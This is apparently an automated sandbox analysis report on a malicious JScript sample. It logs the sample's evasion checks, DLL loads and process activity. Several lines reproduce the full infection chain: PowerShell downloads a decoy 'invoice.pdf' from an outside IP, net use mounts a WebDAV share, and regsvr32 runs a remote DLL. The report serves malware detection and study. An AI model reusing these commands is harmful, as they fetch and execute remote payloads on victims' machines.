Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4091.js.csv");ITextStream.WriteLine(" entry:7793 f:ftmbsyuys");ITextStream.WriteLine(" exec:2 f:ftmbsyuys");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5011			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4696			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7732	Thread sleep count: 5011 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7732	Thread sleep count: 4696 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7808	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7828	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7712	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8012	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3684	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000003.1463579234.0000024CCCDAE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1466524657.0000024CCCDAE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWZ
Source: net.exe, 00000007.00000003.1463579234.0000024CCCDAE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1466524657.0000024CCCDAE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1467705432.0000024CCCD48000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2695194007.000001AB79642000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2693838204.000001AB7402F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2695271347.000001AB79654000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000002.1407380886.000001C295F22000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\8b}8

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

